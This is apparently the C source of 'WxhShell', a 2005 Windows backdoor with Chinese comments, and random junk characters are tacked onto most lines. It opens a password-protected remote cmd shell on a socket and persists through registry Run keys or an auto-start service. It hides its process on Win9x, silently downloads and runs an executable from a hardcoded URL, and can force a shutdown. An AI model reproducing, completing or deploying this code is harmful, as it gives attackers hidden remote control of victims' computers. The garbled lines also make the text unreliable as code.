    if(Boot(SHUTDOWN)) 6L~tUe.G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)w58/`?t  
    else { l9J]<gG  
    closesocket(wsh); nj7wc9z4  
    ExitThread(0); z'G~b[kG4n  
    } 2{!^"iW  
    break; 4gTD HQP  
    } }- Jw"|^W  
  // 获取shell DJtKLG0  
  case 's': { mkCv  f  
    CmdShell(wsh); nr#DE?  
    closesocket(wsh); kW#{[,7r  
    ExitThread(0); "))G|+tz  
    break; 0ang^v;q  
  } %EZG2JjO)  
  // 退出 ?]fd g;?@  
  case 'x': { !~{AF|2f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Jt&6N  
    CloseIt(wsh); =Of!1TR(  
    break; *N0R3da  
    } 1,p[4k~Ww  
  // 离开 Fn8d;%C  
  case 'q': { );^] is~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GHMoT  
    closesocket(wsh); "G8w}n:y  
    WSACleanup(); 8q6b3q:c  
    exit(1); 7kBULeBn|  
    break; u"%i3%Yjh  
        } kQR kby  
  } Z7eD+4gD  
  } kpM5/=f/@  
~ituPrH%<  
  // 提示信息 `};8   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5N:THvh6o  
} L`yyn/2>  
  } y7 I')}SC  
DR`d^aBWQ  
  return; |(e`V  
} QY<{S&k9  
gJNp]I2R  
// shell模块句柄 kq[*q-:"x  
int CmdShell(SOCKET sock) hCX}*  
{ CW(]6s u{  
STARTUPINFO si; xud  
ZeroMemory(&si,sizeof(si)); Y 9eGDpW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,6Kx1 c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9HOdtpQOV  
PROCESS_INFORMATION ProcessInfo; $18|@\Znj  
char cmdline[]="cmd"; Q?GmSeUi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !s;+6Sy  
  return 0; (mvAEN+y  
} Bv^{|w  
(;o,t?:d  
// 自身启动模式 K8.=bGyg  
int StartFromService(void) V~+{douq  
{ 6g*B=d(j  
typedef struct cH()Ze-B  
{ yfS`g-j{~  
  DWORD ExitStatus; 8v6YOG"b q  
  DWORD PebBaseAddress;  Efsfuv  
  DWORD AffinityMask; w0x%7mg@  
  DWORD BasePriority; UW+|1Bj_:  
  ULONG UniqueProcessId; R qS2Qo]  
  ULONG InheritedFromUniqueProcessId; %@Nuzdp  
}   PROCESS_BASIC_INFORMATION; taXS>*|B  
A f@IsCOJ  
PROCNTQSIP NtQueryInformationProcess; 1"r6qYN!>  
}bG|(Wp9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nT0FonK>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @0q%&v0  
Mg.xGST  
  HANDLE             hProcess; iHo2=Cz  
  PROCESS_BASIC_INFORMATION pbi; &|7pu=  
tI&Z!fj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hlxZq  
  if(NULL == hInst ) return 0; y< hIXC  
zrjqB3R4@O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !<3(+H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NZ `( d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sgDlT=c'  
)TxAhaz+  
  if (!NtQueryInformationProcess) return 0; ~Dw.3P:-  
CUB=T]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M3j_sd'N  
  if(!hProcess) return 0; >3 Q%Yn  
!Y3w]_x[:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J7BfH,o  
~S)o ('  
  CloseHandle(hProcess); B*A{@)_  
0+b1R}!2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sm-RpZ&|  
if(hProcess==NULL) return 0; "Y 9 *rL  
Exox&T  
HMODULE hMod; 'vT XR_D  
char procName[255]; &ZgB b  
unsigned long cbNeeded; 2{zFO3i<3  
|q5R5 mQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Vc+/ZyW  
&[}T41  
  CloseHandle(hProcess); n83,MV?-  
}E+}\&  
if(strstr(procName,"services")) return 1; // 以服务启动 :tY ;K2wDM  
LuS] D%  
  return 0; // 注册表启动 IiV:bHUE}0  
} @cNX\$J  
]R/VE"-  
// 主模块 6X5`npf  
int StartWxhshell(LPSTR lpCmdLine) Hd6g0  
{ [ "}0umt  
  SOCKET wsl; R=~+-^O!  
BOOL val=TRUE; U]lXw+&  
  int port=0; DQ^yqBVgQ  
  struct sockaddr_in door; oJy]n9  
[^B04x@  
  if(wscfg.ws_autoins) Install(); _ 97  
w? A&XB+  
port=atoi(lpCmdLine); yzt6   
|D u.aN  
if(port<=0) port=wscfg.ws_port; Q>u$tLX&  
4(MZ*6G]?  
  WSADATA data; , KF>PoySA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? &ew$%  
5_b`QO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zJS,f5L6)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }!b9L]  
  door.sin_family = AF_INET; ]%m0PU#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q bb:)>  
  door.sin_port = htons(port); w `6qT3v  
ZKyK#\v<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Ml/=\EHOg  
closesocket(wsl); PA;RUe  
return 1; r'M|mQ$s>  
} FMB\$(g  
oop''6`C%  
  if(listen(wsl,2) == INVALID_SOCKET) { IC>OxYg*  
closesocket(wsl); k.>*!l0  
return 1; `6`NuZ*6g  
} ~?8B~l^  
  Wxhshell(wsl); dhpEB J  
  WSACleanup(); SlI0p&2,  
&GcWv+p  
return 0; zr%lBHuW  
#q40  >)]  
} ?"\`u;  
v bzeabm  
// 以NT服务方式启动 ipnvw4+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .?9+1.`  
{ ?c0OrvM  
DWORD   status = 0; "0Uh(9Fv  
  DWORD   specificError = 0xfffffff; v:(_-8:F  
 @*'|8%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 703=.xj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i/R8Gb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O`U&0lKi'  
  serviceStatus.dwWin32ExitCode     = 0; Oz!#);v  
  serviceStatus.dwServiceSpecificExitCode = 0; ,T?8??bZ  
  serviceStatus.dwCheckPoint       = 0; "40Jxqt  
  serviceStatus.dwWaitHint       = 0; \[oU7r}?/V  
&bBK#d*-u?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7yxZe4~|#  
  if (hServiceStatusHandle==0) return; u&1n~t`  
EAp6IhW{  
status = GetLastError(); :\x53-&hO4  
  if (status!=NO_ERROR) ;LNFPo   
{ nk9Kq\2f:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gUzCDB^.:  
    serviceStatus.dwCheckPoint       = 0; qlmz@kTb  
    serviceStatus.dwWaitHint       = 0; iD#HB o  
    serviceStatus.dwWin32ExitCode     = status; J6/Mm7R  
    serviceStatus.dwServiceSpecificExitCode = specificError; RRig  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @$z/=gsy  
    return; v;AMx-_WH  
  } ]W3D4Swq  
kxp$Nnk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'CsD[<  
  serviceStatus.dwCheckPoint       = 0; Q3,`'[ F  
  serviceStatus.dwWaitHint       = 0; _@jBz"aq\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O79;tA<k  
} F@4XORO;  
KB!.N[!v  
// 处理NT服务事件,比如:启动、停止 o1='Fr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l;zpf|.Vc  
{ lg1yj}br  
switch(fdwControl) ^%wj6  
{ {@1.2AWg  
case SERVICE_CONTROL_STOP: c)gG  
  serviceStatus.dwWin32ExitCode = 0; S3]Cz$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !xyO  
  serviceStatus.dwCheckPoint   = 0; Au &NQ+  
  serviceStatus.dwWaitHint     = 0; Ffk$8"   
  { Rq~\Yf+Pm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _XIls*6AK  
  } 9qkH~B7  
  return; V`?2g_4N  
case SERVICE_CONTROL_PAUSE: Z{RRhJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mz;S*ONlV  
  break; gBz$RfyF  
case SERVICE_CONTROL_CONTINUE: Ac!,#Fq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )[Bwr bn  
  break; rMAH YH9  
case SERVICE_CONTROL_INTERROGATE: >HO{gaRM  
  break; Y ::\;s  
}; epp ;~(xr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w-\U;&8  
} 3 G/#OJ  
LyO, ]  
// 标准应用程序主函数 J"'2zg1&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~(kIr? ^  
{ YUd*\_  
[vb>5EhL!  
// 获取操作系统版本 /*s:ehj  
OsIsNt=GetOsVer(); L8n1p5 gx3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FDM&rQ  
7q?u`3l  
  // 从命令行安装 4mSL*1j  
  if(strpbrk(lpCmdLine,"iI")) Install(); vUl5%r2O4  
J8I_tF6  
  // 下载执行文件 |4//%Ll/  
if(wscfg.ws_downexe) { pisjfNT`o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JViglO1\  
  WinExec(wscfg.ws_filenam,SW_HIDE); t] LCe\#  
} |j53' >N[  
*F/uAI^)  
if(!OsIsNt) { B MU@J  
// 如果时win9x,隐藏进程并且设置为注册表启动 0:UK)t)3I  
HideProc(); =0 W`tx  
StartWxhshell(lpCmdLine); 'bp*hqG[  
} xxOo8+kA  
else `"QUA G  
  if(StartFromService()) 9k=-8@G9  
  // 以服务方式启动 ;V]EF  
  StartServiceCtrlDispatcher(DispatchTable); Gs%IZo_  
else 1><\3+8  
  // 普通方式启动 j(/Bf m  
  StartWxhshell(lpCmdLine); G%~=hEK0  
.kh%66:  
return 0; Dgh|,LqUB  
} S@]7   
u38FY@U$  
JmdXh/X  
rhY>aj  
=========================================== d&'z0]mOe  
K_j$iHqLF  
<(W0N|1v  
yyZH1A  
 ,!_  
|VM c,_D  
"  s#om  
Kd^{~Wlz&z  
#include <stdio.h> ,\Gn  
#include <string.h> `C"Slz::  
#include <windows.h> 32jOs|<\  
#include <winsock2.h> Rro|P_  
#include <winsvc.h> Srj%6rgsB  
#include <urlmon.h> k^AI7H  
iK{q_f\"  
#pragma comment (lib, "Ws2_32.lib") 2f\;#-  
#pragma comment (lib, "urlmon.lib") }T%;G /W  
w#[Ul9=?6  
#define MAX_USER   100 // 最大客户端连接数 1BQTvUAA  
#define BUF_SOCK   200 // sock buffer |gEA.} pY  
#define KEY_BUFF   255 // 输入 buffer rm2"pfs  
%98F>wl  
#define REBOOT     0   // 重启 /!ZeMY:x  
#define SHUTDOWN   1   // 关机 ,?i^i#Wqzg  
~d6 _  
#define DEF_PORT   5000 // 监听端口 Jo Qzf~  
;:1d<Q|  
#define REG_LEN     16   // 注册表键长度 avxI\twAU  
#define SVC_LEN     80   // NT服务名长度 "Q9S<O8)  
NhQIpzL)  
// 从dll定义API "6rZn_H/|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kb1{ ;c:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jQ.]m   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +aRjJ/*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <\Nf6>_qEM  
<b"ynoM.A  
// wxhshell配置信息 tVQfR*=  
struct WSCFG { 1) V,>)Ak  
  int ws_port;         // 监听端口 Y'"2s~_ Z  
  char ws_passstr[REG_LEN]; // 口令 VaZ+TE  
  int ws_autoins;       // 安装标记, 1=yes 0=no =MO2M~e!  
  char ws_regname[REG_LEN]; // 注册表键名 FV^CSaN[R  
  char ws_svcname[REG_LEN]; // 服务名 ;`g\Tu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o+{}O_r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3=~"<f l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -H~g+i*J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >R3~P~@30  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _H^Ij  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6~GaFmW=  
vFY/o,b \  
}; pW O-YZ#+  
=Xzqp,  
// default Wxhshell configuration f ^mxj/%L  
struct WSCFG wscfg={DEF_PORT, 8,2l >S  
    "xuhuanlingzhe", d}tn/Eu?B  
    1, 9x.vz  
    "Wxhshell", OqUEj 0X  
    "Wxhshell", OO_{ o  
            "WxhShell Service", LA$uD?YA  
    "Wrsky Windows CmdShell Service", 1Lwi?~!LI  
    "Please Input Your Password: ", 0K7]<\)  
  1, pVn 6>\xa  
  "http://www.wrsky.com/wxhshell.exe", f]"][!e!,  
  "Wxhshell.exe" oQ~Q?o]Ri  
    }; ,R0@`t1 p  
8h9t8?  
// 消息定义模块 a*&P>Lwe7&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6"WR}S0o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A=|LMJMWR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l;U9dO}/[  
char *msg_ws_ext="\n\rExit."; D2|-\vJ>  
char *msg_ws_end="\n\rQuit."; 'GQ1;9A57  
char *msg_ws_boot="\n\rReboot..."; vq_W zxaG  
char *msg_ws_poff="\n\rShutdown..."; a{Y:hrd:Z  
char *msg_ws_down="\n\rSave to "; DCX 4!,ZF  
@I}:HiF  
char *msg_ws_err="\n\rErr!"; >=^g%K$L6J  
char *msg_ws_ok="\n\rOK!"; mU:C{<Z  
tp$NT.z  
char ExeFile[MAX_PATH]; >#dNXH]9  
int nUser = 0; Q6Q>b4 .3  
HANDLE handles[MAX_USER]; 0*V RFd4  
int OsIsNt; C.@R#a'  
z;1tJ  
SERVICE_STATUS       serviceStatus; $=iz&{9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UV)[a%/SB&  
liFNJd`|o+  
// 函数声明 : Ey  
int Install(void); Nt67Ye3;  
int Uninstall(void); = sedkrM  
int DownloadFile(char *sURL, SOCKET wsh); 4nkH0dJQ  
int Boot(int flag); k='sI^lF  
void HideProc(void); {.SN  
int GetOsVer(void); e%x$Cb:znn  
int Wxhshell(SOCKET wsl); 0 sVCTJ@  
void TalkWithClient(void *cs); zm2&\8J  
int CmdShell(SOCKET sock); #QZg{  
int StartFromService(void); Eag->mw/~  
int StartWxhshell(LPSTR lpCmdLine); B$g!4C `g  
~b5aT;ObR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O<S*bN>BF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J5k \R+\H  
L':;Vv~-  
// 数据结构和表定义 eOy{]< l3  
SERVICE_TABLE_ENTRY DispatchTable[] = KQ?E]}rZ  
{ )=9\6zXS  
{wscfg.ws_svcname, NTServiceMain}, e`4OlM]  
{NULL, NULL} kJy<vb~   
}; /YH Bhoat  
4 *He<2g  
// 自我安装 Wf 13Ab  
int Install(void) 1W8[ RET  
{ ^Ot+,l)  
  char svExeFile[MAX_PATH]; v[CX-CBZ?  
  HKEY key; -x3QgDno  
  strcpy(svExeFile,ExeFile); B;N40d*W  
8~:qn@ Z|E  
// 如果是win9x系统,修改注册表设为自启动 JoKD6Q1D  
if(!OsIsNt) { 1mL--m'r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nol',^)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $rs7D}VNc  
  RegCloseKey(key); wED~^[]f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s7O?)f f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9NaC7D$,  
  RegCloseKey(key); u)&6;A4  
  return 0; {i~qm4+o  
    } v;el= D  
  } INW8Q`[F  
} CY)Wuv ^  
else { ~t<BZu  
cG?RisSZ  
// 如果是NT以上系统,安装为系统服务 e x $d~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h(d<':|  
if (schSCManager!=0) zdyS"H}  
{ 6h}f^eJ:K,  
  SC_HANDLE schService = CreateService : i3-7k  
  ( QYVT"$=  
  schSCManager, T'\ lntN  
  wscfg.ws_svcname, {4CkF \  
  wscfg.ws_svcdisp, eN>=x40  
  SERVICE_ALL_ACCESS, ~yt+xWV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _zJY1cr  
  SERVICE_AUTO_START, "6 dC  
  SERVICE_ERROR_NORMAL, rv;w`f  
  svExeFile, 0Z2![n  
  NULL, vBj{bnl  
  NULL, p(Y'fd}  
  NULL, KLsTgo|J  
  NULL, 4&K~EX"^T  
  NULL $&n!j'C:  
  ); (8@._  
  if (schService!=0) SWO$# X /  
  { &kXf)xc<~  
  CloseServiceHandle(schService); R JnRbaC  
  CloseServiceHandle(schSCManager); 0%k`* 8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ..'^1IOA  
  strcat(svExeFile,wscfg.ws_svcname); ~?E x?!\9R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jFw?Ky2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M ,e_=aq  
  RegCloseKey(key); >8t3a-/  
  return 0; DB:Ia5|*i  
    } i4'?/UPc  
  } kxWf1hIz0  
  CloseServiceHandle(schSCManager); %l,p />r  
} O9=vz%  
} #p*{p)]HiA  
p[hA?dXn  
return 1; n8A*Y3~R  
} MCe =RR  
KSqWq:W+  
// 自我卸载 E$4\Yc)(AL  
int Uninstall(void) :v Pzw!  
{ F_zs"ex/  
  HKEY key; `t {aN|3V[  
+MGEO+  
if(!OsIsNt) { +aEE(u6%E@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pUYa1=  
  RegDeleteValue(key,wscfg.ws_regname); MJ8z"SKnV  
  RegCloseKey(key); wR@fB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +x-n,!(  
  RegDeleteValue(key,wscfg.ws_regname); IBQmm(+v  
  RegCloseKey(key); Ts|&_|  
  return 0; B:&/*HU  
  } H;G*tje/M  
} 5=., a5  
} wB?;3lTS  
else { 7od!:<v/  
{#zJx(2yG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C \H%4p1r  
if (schSCManager!=0) fE|([ ` !  
{ M!,$i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PD:" SfV,G  
  if (schService!=0) +<Uc42i7n  
  { . ?[2,4F;  
  if(DeleteService(schService)!=0) { ^B1Q";# B^  
  CloseServiceHandle(schService); +*DXzVC  
  CloseServiceHandle(schSCManager); .B"h6WMz  
  return 0; ]. IUQ*4t  
  } /"~CWNa  
  CloseServiceHandle(schService); i=o<\ {iV:  
  } +[V?3Gdb  
  CloseServiceHandle(schSCManager); xx#; )]WT  
} 9%$4Ux*q  
} "So+  
`Q, moz  
return 1; jQj`GnN|  
} ds4ERe /  
iU~oPp[e  
// 从指定url下载文件 Zc{at}{  
int DownloadFile(char *sURL, SOCKET wsh) O6YYOmt3  
{ .?<,J  
  HRESULT hr; -wW%+wH  
char seps[]= "/"; U5Q `r7  
char *token; AHIk7[w  
char *file; yw{GO([ZQ  
char myURL[MAX_PATH]; hJkIFyQ{j  
char myFILE[MAX_PATH]; I yL2{5  
w6qx  
strcpy(myURL,sURL); rKg5?.  
  token=strtok(myURL,seps); <Ktx*(D  
  while(token!=NULL) R3jhq3F\Y  
  { wx>BNlT@?  
    file=token; Ih{(d O;  
  token=strtok(NULL,seps); |*fGG?}  
  } V'mQ {[{R  
C^2Tql  
GetCurrentDirectory(MAX_PATH,myFILE); vO&%sjvH  
strcat(myFILE, "\\"); aHXd1\6m  
strcat(myFILE, file); tOn/r@Fd^E  
  send(wsh,myFILE,strlen(myFILE),0); 4Bd[r7  
send(wsh,"...",3,0); *FQrmdwb]L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D+9xI  
  if(hr==S_OK) }(hx$G^M  
return 0; 2x"&8Bg3  
else 4@.qM6 \\q  
return 1; Pn[-{nz  
nkG1&wiX  
} @v2_gjRe  
X<OwB-N  
// 系统电源模块 lOCMKaCD  
int Boot(int flag) `&LPqb  
{ l <Tkg9  
  HANDLE hToken; =d!3_IZ  
  TOKEN_PRIVILEGES tkp; -L NJ*?b  
O8w R#(/  
  if(OsIsNt) { V) a<)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :tl* >d~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P bj&l0C  
    tkp.PrivilegeCount = 1; D2#3fM6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &_x:+{06  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \3"4;fM!i  
if(flag==REBOOT) { }:])1!a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;/XWX$G@  
  return 0; "@ xI  
} S4n\<+dR<  
else { `%ZM(9T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2TXrVaM  
  return 0; Y^M3m' d?  
} 4[44Eku\  
  } _s[ohMlh  
  else { t3}>5cAxy  
if(flag==REBOOT) { ",k"c}3G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) az*c0Z<pl  
  return 0; D{x'k2=  
} ~Y7>P$G)  
else { ^":UkPFCx:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D|9xD  
  return 0; c$Z3P%aP'V  
} b(Zh$86  
} fa//~$#"{L  
mXtsP1  
return 1; l ~b# Y&  
} ?NOc]'<(G  
\}P3mS"e3  
// win9x进程隐藏模块 z\Hg@J&#  
void HideProc(void) 3yX^93  
{ r5M {*  
}^ +E S^~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q bjO*:c4  
  if ( hKernel != NULL ) w &1_k:Z&  
  { Za_w@o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _ I"}3*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v*iD)k:|t  
    FreeLibrary(hKernel); K| %.mc s4  
  } _C2iP[YwQ{  
HL]8E}e\"  
return; t6DgWKT6  
} j #G4A%_  
rE$0a-d2B  
// 获取操作系统版本 8s16yuM  
int GetOsVer(void) BpBMFEiP  
{ ~_6~Fi  
  OSVERSIONINFO winfo; cc- liY "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); />Kd w  
  GetVersionEx(&winfo); 6hp>w{+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O_OgTa  
  return 1; p{ X?_F  
  else # 2;6!_  
  return 0; )lg>'O  
} +txFdc  
2n+tc  
// 客户端句柄模块 O$z XDxn  
int Wxhshell(SOCKET wsl) QiC}hj$  
{ ]s_,;PGU  
  SOCKET wsh; iga.B  
  struct sockaddr_in client; ~ES6Qw`Oe  
  DWORD myID; $$F iCMI  
e0;0X7  
  while(nUser<MAX_USER) GB,f'Afl  
{ ~+|Vzm|S}  
  int nSize=sizeof(client); yAD-sy +/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \GYrP f$  
  if(wsh==INVALID_SOCKET) return 1; gr1NcHu  
#0$fZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +lC?Vpi^  
if(handles[nUser]==0) hhWIwR  
  closesocket(wsh); o|`[X '  
else g?B4b7II  
  nUser++; qJ(XW N H  
  } ;$,b w5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n=Ze p{^  
JOwm|%>3a  
  return 0; D[/h7Ha  
} X'FDQoH  
,/2&HZd  
// 关闭 socket 9`y@2/!Y  
void CloseIt(SOCKET wsh) M`  V<`  
{ Z<D8{&AjS  
closesocket(wsh); Xna58KF/  
nUser--; g$f+X~Q  
ExitThread(0); R*0]*\C z  
} 7<GC{/^T  
| KtI:n4d  
// 客户端请求句柄 IVSOSl|  
void TalkWithClient(void *cs) C(CwsdlP  
{ UOIB}ut V  
56w uk [)  
  SOCKET wsh=(SOCKET)cs; W {A4*{  
  char pwd[SVC_LEN]; J4?i\wD:  
  char cmd[KEY_BUFF]; M h"X9-Ot  
char chr[1]; 6mV-+CnYC  
int i,j; w1Txz4JqB  
qXqGhHoe;  
  while (nUser < MAX_USER) { 2ieyU5q7#  
@cB7tY*Ski  
if(wscfg.ws_passstr) { w.VjGPp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "hi d3"G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AjVX  
  //ZeroMemory(pwd,KEY_BUFF); Oh# z zo  
      i=0; FYs]I0}|  
  while(i<SVC_LEN) { S5o,\wT  
~Uw;6VXV1  
  // 设置超时 qP{Fwn  
  fd_set FdRead; 8Sxk[`qx\K  
  struct timeval TimeOut; bT7+$^NHf  
  FD_ZERO(&FdRead); 36e  
  FD_SET(wsh,&FdRead); r[g  
  TimeOut.tv_sec=8; xO[V>Ud  
  TimeOut.tv_usec=0; "UX/yLc3(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <*Nd%Ca  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R_^0Un([  
+Jm~Um!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NC%96gfD  
  pwd=chr[0]; 60TM!\  
  if(chr[0]==0xd || chr[0]==0xa) { zfrNM9C  
  pwd=0; }1 ,\ *)5  
  break; .^dtdFZ8,  
  } \&_pI2X  
  i++; (^oN, 7  
    } `=V p 0tPI  
k?Kt*T  
  // 如果是非法用户,关闭 socket 7Q^p|;~a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D%}rQ,*  
} t!-\:8n  
{o SdVRI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6l'J!4*qY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nuH=pIq6x  
6(=B`Z}a  
while(1) { fUMjLA|*I<  
}W)b  
  ZeroMemory(cmd,KEY_BUFF); Jxf>!\:AZu  
W_L*S4 ~  
      // 自动支持客户端 telnet标准   3n,jrX75u  
  j=0; FI,K 0sO/|  
  while(j<KEY_BUFF) { jB<B_"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oN2#Jh%dH  
  cmd[j]=chr[0]; Q5c3C &$6  
  if(chr[0]==0xa || chr[0]==0xd) { /!?b&N/d)  
  cmd[j]=0; EHy15RL  
  break; \o*w#e[M  
  } qjObu\r  
  j++; ~R&rQJJeJ  
    } :.9Y  
U&i#cF   
  // 下载文件 Z`_x|cU?J  
  if(strstr(cmd,"http://")) { Y'{}L@"t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tD*k   
  if(DownloadFile(cmd,wsh)) )T6:@n^]h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qt(4?_J  
  else z3Yi$*q <  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5dGfO:Dy_  
  } et2;{Tb,5  
  else { /qKA1-R}4  
eC"k-a8j+  
